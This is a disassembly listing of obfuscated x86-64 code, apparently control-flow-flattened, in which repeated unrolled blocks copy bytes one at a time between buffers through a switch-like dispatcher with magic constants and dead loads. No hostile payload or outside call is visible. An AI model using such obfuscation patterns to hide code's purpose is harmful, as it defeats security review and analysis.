mov edx, 0xa8389bf0
jmp 0x140025c00
cmp edx, 0xa8389bf0
jne 0x140025c00
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov byte [r8 + 1], al
mov rax, qword [rbp + 0x40]
movzx r9d, byte [rax + 2]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r10d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r10d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r9, rax
mov edx, 0x67de0e00
jmp 0x140025e00
mov edx, 0x41be4095
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140025e40
cmp edx, 0xb15e3b2
jg 0x140025e80
cmp edx, 0x980db29e
je 0x140025edb
cmp edx, 0xd84b80b0
jne 0x140025f5f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r10d
jmp 0x140025e00
cmp edx, 0x41f4c7ac
jg 0x140025ea0
cmp edx, 0x3f51b719
je 0x140025f4b
cmp edx, 0x41be4095
jne 0x140025e00
mov qword [rbp + 0x78], r9
movabs rax, 0x93a1cbe50325d78d
add rax, 2
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140025e00
cmp edx, 0xb15e3b3
je 0x140025df8
cmp edx, 0x2412b668
jne 0x140025e00
mov edx, ebx
jmp 0x140025e00
cmp edx, 0x41f4c7ad
je 0x140025f55
cmp edx, 0x67de0e00
jne 0x140025e00
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140025ed1
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140025e00
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140025e00
mov edx, 0x2412b668
jmp 0x140025e00
mov edx, 0xa8389bf0
jmp 0x140025e00
cmp edx, 0xa8389bf0
jne 0x140025e00
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov byte [r8 + 2], al
mov rax, qword [rbp + 0x40]
movzx r9d, byte [rax + 3]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r10d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r10d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r9, rax
mov edx, 0x67de0e00
jmp 0x140026000
mov edx, 0x41be4095
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140026040
cmp edx, 0xb15e3b2
jg 0x140026080
cmp edx, 0x980db29e
je 0x1400260db
cmp edx, 0xd84b80b0
jne 0x14002615f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r10d
jmp 0x140026000
cmp edx, 0x41f4c7ac
jg 0x1400260a0
cmp edx, 0x3f51b719
je 0x14002614b
cmp edx, 0x41be4095
jne 0x140026000
mov qword [rbp + 0x78], r9
movabs rax, 0x93a1cbe50325d78d
add rax, 3
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140026000
cmp edx, 0xb15e3b3
je 0x140025ff8
cmp edx, 0x2412b668
jne 0x140026000
mov edx, ebx
jmp 0x140026000
cmp edx, 0x41f4c7ad
je 0x140026155
cmp edx, 0x67de0e00
jne 0x140026000
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400260d1
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140026000
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026000
mov edx, 0x2412b668
jmp 0x140026000
mov edx, 0xa8389bf0
jmp 0x140026000
cmp edx, 0xa8389bf0
jne 0x140026000
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov byte [r8 + 3], al
mov rax, qword [rbp + 0x40]
movzx r14d, byte [rax + 4]
mov eax, dword [0x1400610e0]
mov r9d, dword [0x1400610e4]
lea r10d, [rax - 1]
imul r10d, eax
mov eax, r10d
and eax, 1
cmp r9d, 0xa
setl dl
mov ecx, eax
xor cl, dl
mov ecx, 0x3f51b719
mov ebx, 0xb15e3b3
cmovne ecx, ebx
test eax, eax
sete byte [rbp + 0x28]
sete al
mov ebx, 0x3f51b719
cmove ecx, ebx
cmp r9d, 0xa
setl byte [rbp + 0x38]
cmovl ecx, ebx
or al, dl
mov r11d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r11d, eax
mov eax, 0x980db29e
mov edx, 0xd84b80b0
cmovne eax, edx
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026210
mov edx, 0x41be4095
nop word cs:[rax + rax]
nop
cmp edx, 0x3f51b718
jg 0x140026250
cmp edx, 0xb15e3b2
jg 0x140026290
cmp edx, 0x980db29e
je 0x1400262eb
cmp edx, 0xd84b80b0
jne 0x14002636f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026210
cmp edx, 0x41f4c7ac
jg 0x1400262b0
cmp edx, 0x3f51b719
je 0x14002635b
cmp edx, 0x41be4095
jne 0x140026210
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 4
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026210
cmp edx, 0xb15e3b3
je 0x140026200
cmp edx, 0x2412b668
jne 0x140026210
mov edx, eax
jmp 0x140026210
cmp edx, 0x41f4c7ad
je 0x140026365
cmp edx, 0x67de0e00
jne 0x140026210
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400262e1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026210
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026210
mov edx, 0x2412b668
jmp 0x140026210
mov edx, 0xa8389bf0
jmp 0x140026210
cmp edx, 0xa8389bf0
jne 0x140026210
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 4], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 5]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x1400263c0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026400
cmp edx, 0xb15e3b2
jg 0x140026440
cmp edx, 0x980db29e
je 0x14002649b
cmp edx, 0xd84b80b0
jne 0x14002651f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x1400263c0
cmp edx, 0x41f4c7ac
jg 0x140026460
cmp edx, 0x3f51b719
je 0x14002650b
cmp edx, 0x41be4095
jne 0x1400263c0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 5
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x1400263c0
cmp edx, 0xb15e3b3
je 0x1400263b3
cmp edx, 0x2412b668
jne 0x1400263c0
mov edx, eax
jmp 0x1400263c0
cmp edx, 0x41f4c7ad
je 0x140026515
cmp edx, 0x67de0e00
jne 0x1400263c0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140026491
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x1400263c0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400263c0
mov edx, 0x2412b668
jmp 0x1400263c0
mov edx, 0xa8389bf0
jmp 0x1400263c0
cmp edx, 0xa8389bf0
jne 0x1400263c0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 5], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 6]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026570
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x1400265b0
cmp edx, 0xb15e3b2
jg 0x1400265f0
cmp edx, 0x980db29e
je 0x14002664b
cmp edx, 0xd84b80b0
jne 0x1400266cf
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026570
cmp edx, 0x41f4c7ac
jg 0x140026610
cmp edx, 0x3f51b719
je 0x1400266bb
cmp edx, 0x41be4095
jne 0x140026570
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 6
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026570
cmp edx, 0xb15e3b3
je 0x140026563
cmp edx, 0x2412b668
jne 0x140026570
mov edx, eax
jmp 0x140026570
cmp edx, 0x41f4c7ad
je 0x1400266c5
cmp edx, 0x67de0e00
jne 0x140026570
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140026641
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026570
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026570
mov edx, 0x2412b668
jmp 0x140026570
mov edx, 0xa8389bf0
jmp 0x140026570
cmp edx, 0xa8389bf0
jne 0x140026570
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 6], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 7]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026720
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026760
cmp edx, 0xb15e3b2
jg 0x1400267a0
cmp edx, 0x980db29e
je 0x1400267fb
cmp edx, 0xd84b80b0
jne 0x14002687f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026720
cmp edx, 0x41f4c7ac
jg 0x1400267c0
cmp edx, 0x3f51b719
je 0x14002686b
cmp edx, 0x41be4095
jne 0x140026720
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 7
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026720
cmp edx, 0xb15e3b3
je 0x140026713
cmp edx, 0x2412b668
jne 0x140026720
mov edx, eax
jmp 0x140026720
cmp edx, 0x41f4c7ad
je 0x140026875
cmp edx, 0x67de0e00
jne 0x140026720
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400267f1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026720
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026720
mov edx, 0x2412b668
jmp 0x140026720
mov edx, 0xa8389bf0
jmp 0x140026720
cmp edx, 0xa8389bf0
jne 0x140026720
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 7], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 8]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x1400268d0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026910
cmp edx, 0xb15e3b2
jg 0x140026950
cmp edx, 0x980db29e
je 0x1400269ab
cmp edx, 0xd84b80b0
jne 0x140026a2f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x1400268d0
cmp edx, 0x41f4c7ac
jg 0x140026970
cmp edx, 0x3f51b719
je 0x140026a1b
cmp edx, 0x41be4095
jne 0x1400268d0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 8
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x1400268d0
cmp edx, 0xb15e3b3
je 0x1400268c3
cmp edx, 0x2412b668
jne 0x1400268d0
mov edx, eax
jmp 0x1400268d0
cmp edx, 0x41f4c7ad
je 0x140026a25
cmp edx, 0x67de0e00
jne 0x1400268d0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x1400269a1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x1400268d0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400268d0
mov edx, 0x2412b668
jmp 0x1400268d0
mov edx, 0xa8389bf0
jmp 0x1400268d0
cmp edx, 0xa8389bf0
jne 0x1400268d0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 8], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 9]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026a80
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026ac0
cmp edx, 0xb15e3b2
jg 0x140026b00
cmp edx, 0x980db29e
je 0x140026b5b
cmp edx, 0xd84b80b0
jne 0x140026bdf
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026a80
cmp edx, 0x41f4c7ac
jg 0x140026b20
cmp edx, 0x3f51b719
je 0x140026bcb
cmp edx, 0x41be4095
jne 0x140026a80
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 9
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026a80
cmp edx, 0xb15e3b3
je 0x140026a73
cmp edx, 0x2412b668
jne 0x140026a80
mov edx, eax
jmp 0x140026a80
cmp edx, 0x41f4c7ad
je 0x140026bd5
cmp edx, 0x67de0e00
jne 0x140026a80
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140026b51
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026a80
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026a80
mov edx, 0x2412b668
jmp 0x140026a80
mov edx, 0xa8389bf0
jmp 0x140026a80
cmp edx, 0xa8389bf0
jne 0x140026a80
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 9], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xa]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026c30
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026c70
cmp edx, 0xb15e3b2
jg 0x140026cb0
cmp edx, 0x980db29e
je 0x140026d0b
cmp edx, 0xd84b80b0
jne 0x140026d8f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026c30
cmp edx, 0x41f4c7ac
jg 0x140026cd0
cmp edx, 0x3f51b719
je 0x140026d7b
cmp edx, 0x41be4095
jne 0x140026c30
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xa
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026c30
cmp edx, 0xb15e3b3
je 0x140026c23
cmp edx, 0x2412b668
jne 0x140026c30
mov edx, eax
jmp 0x140026c30
cmp edx, 0x41f4c7ad
je 0x140026d85
cmp edx, 0x67de0e00
jne 0x140026c30
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140026d01
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026c30
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026c30
mov edx, 0x2412b668
jmp 0x140026c30
mov edx, 0xa8389bf0
jmp 0x140026c30
cmp edx, 0xa8389bf0
jne 0x140026c30
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xa], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xb]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026de0
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026e20
cmp edx, 0xb15e3b2
jg 0x140026e60
cmp edx, 0x980db29e
je 0x140026ebb
cmp edx, 0xd84b80b0
jne 0x140026f3f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026de0
cmp edx, 0x41f4c7ac
jg 0x140026e80
cmp edx, 0x3f51b719
je 0x140026f2b
cmp edx, 0x41be4095
jne 0x140026de0
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xb
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026de0
cmp edx, 0xb15e3b3
je 0x140026dd3
cmp edx, 0x2412b668
jne 0x140026de0
mov edx, eax
jmp 0x140026de0
cmp edx, 0x41f4c7ad
je 0x140026f35
cmp edx, 0x67de0e00
jne 0x140026de0
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140026eb1
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026de0
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026de0
mov edx, 0x2412b668
jmp 0x140026de0
mov edx, 0xa8389bf0
jmp 0x140026de0
cmp edx, 0xa8389bf0
jne 0x140026de0
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xb], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xc]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140026f90
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140026fd0
cmp edx, 0xb15e3b2
jg 0x140027010
cmp edx, 0x980db29e
je 0x14002706b
cmp edx, 0xd84b80b0
jne 0x1400270ef
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140026f90
cmp edx, 0x41f4c7ac
jg 0x140027030
cmp edx, 0x3f51b719
je 0x1400270db
cmp edx, 0x41be4095
jne 0x140026f90
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xc
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140026f90
cmp edx, 0xb15e3b3
je 0x140026f83
cmp edx, 0x2412b668
jne 0x140026f90
mov edx, eax
jmp 0x140026f90
cmp edx, 0x41f4c7ad
je 0x1400270e5
cmp edx, 0x67de0e00
jne 0x140026f90
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140027061
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140026f90
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140026f90
mov edx, 0x2412b668
jmp 0x140026f90
mov edx, 0xa8389bf0
jmp 0x140026f90
cmp edx, 0xa8389bf0
jne 0x140026f90
test r10b, 1
mov byte [rbp + 0x50], dil
mov dl, byte [rbp + 0x50]
mov byte [r8 + 0xc], dl
mov rdx, qword [rbp + 0x40]
movzx r14d, byte [rdx + 0xd]
sete byte [rbp + 0x28]
cmp r9d, 0xa
setl byte [rbp + 0x38]
movabs rdx, 0x96c93431608e4db
add r14, rdx
mov edx, 0x67de0e00
jmp 0x140027140
mov edx, 0x41be4095
nop dword [rax + rax]
cmp edx, 0x3f51b718
jg 0x140027180
cmp edx, 0xb15e3b2
jg 0x1400271c0
cmp edx, 0x980db29e
je 0x14002721b
cmp edx, 0xd84b80b0
jne 0x14002729f
mov rdx, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, edx
mov edx, r11d
jmp 0x140027140
cmp edx, 0x41f4c7ac
jg 0x1400271e0
cmp edx, 0x3f51b719
je 0x14002728b
cmp edx, 0x41be4095
jne 0x140027140
mov qword [rbp + 0x78], r14
movabs rdx, 0x93a1cbe50325d78d
add rdx, 0xd
mov qword [rbp + 0x80], rdx
mov edx, ecx
jmp 0x140027140
cmp edx, 0xb15e3b3
je 0x140027133
cmp edx, 0x2412b668
jne 0x140027140
mov edx, eax
jmp 0x140027140
cmp edx, 0x41f4c7ad
je 0x140027295
cmp edx, 0x67de0e00
jne 0x140027140
movzx ebx, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140027211
mov edx, 0xb15e3b3
test bl, bl
cmovne edx, esi
jmp 0x140027140
